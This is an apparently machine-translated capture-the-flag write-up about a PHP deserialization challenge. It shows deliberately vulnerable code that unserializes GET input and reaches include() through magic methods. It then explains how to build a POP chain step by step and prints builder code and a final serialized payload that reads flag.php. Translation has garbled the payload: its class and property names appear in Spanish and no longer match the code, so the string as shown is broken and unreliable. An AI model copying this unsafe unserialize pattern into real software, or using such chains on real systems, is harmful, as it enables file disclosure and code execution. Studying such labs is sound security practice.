Una estructura de cadena pop para una pregunta de deserialización de PHP

La dirección del tema es: GitHub-mcc0624/php_ser_Class: campo de tiro de deserialización de php

Haga clic para ingresar las siguientes preguntas

El código del tema es el siguiente, que llama al método mágico muchas veces como una muñeca nido, lo cual es bastante quema el cerebro. Según el tema, obviamente el objetivo es echo $flag

<?php
//flag is in flag.php
error_reporting(0); 
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?> 

Preguntas como esta deben analizarse utilizando el método de inversión de objetivos:

  1. El objetivo activa el eco para generar la bandera, debe crear $value=flag.php y luego llamar a append(flag.php), invocar llamadas append
  2. Activa la invocación y llama a append(). Y haga $var=flag.php. Condición de invocación del desencadenador: trate el objeto como una función. _get devuelve una función
  3. Si el atributo p en Prueba = nuevo Modificador, se activará __invoke. Entonces, ¿cómo activar __get? Se activa cuando el atributo del miembro llamado no existe.
  4. Deje $str=New Test() en Show, si la fuente no existe en Test, se activará __get. ¿Cómo activa eso __toString? Se activa cuando el objeto se llama como una cadena
  5. Deje source=new Show() en __wakeup, luego active __toString. ¿Cómo activar __wakeup? Desencadenantes de deserialización

Después de analizar hacia atrás, avance:

  1. La deserialización activa el despertar () para mostrar objetos
  2. Y deje que el atributo fuente en show object = new show(), genere el objeto como una cadena y active tostring
  3. Luego, deje que el atributo str del objeto Mostrar = Nueva prueba (), la fuente del atributo no existe en la Prueba y active __get ().
  4. Deje que el atributo $p en el objeto de prueba = new Modifier(), devuelva el objeto como una función y active __invoke
  5. Deje que el atributo var privado del objeto Modificador sea =flag.php, llame a la función anexar y genere el indicador

Finalmente, usamos código para implementar la construcción de la cadena pop.

<?php

class Show{
    public $source;
    public $str;
    public function __toString(){    //把对象当成字符串调用
        return $this->str->source;
    }
    public function __wakeup(){      //反序列化之前触发__wakeup()
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){    //在实例化一个对象时
        $this->p = array();
    }

    public function __get($key){      //调用的成员属性不存在。
        $function = $this->p;
        return $function();
    }
}

class Modifier {
    public $var;   //先修改为public,方便调用
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){     //把对象当成函数调用触发
        $this->append($this->var);  
    }
}

$show = new Show;
$show->source=$show;
$test = new Test;
$show->str=$test;
$modi=new Modifier;
$test->p=$modi;
$modi->var="flag.php";

echo serialize($show);

?>

Luego acceda y genere la cadena deserializada.

Necesidad de cambiar var a propiedad privada

O:4:"Mostrar":2:{s:6:"fuente";r:1;s:3:"str";O:4:"Prueba":1:{s:1:"p"; O:8:"Modificador":1:{s:13:"%00Modificador%00var";s:8:"flag.php";}}}

Finalmente envíe la cadena deserializada y obtenga la bandera.

Supongo que te gusta

Origin blog.csdn.net/qq_44159028/article/details/130770713
Recomendado
Clasificación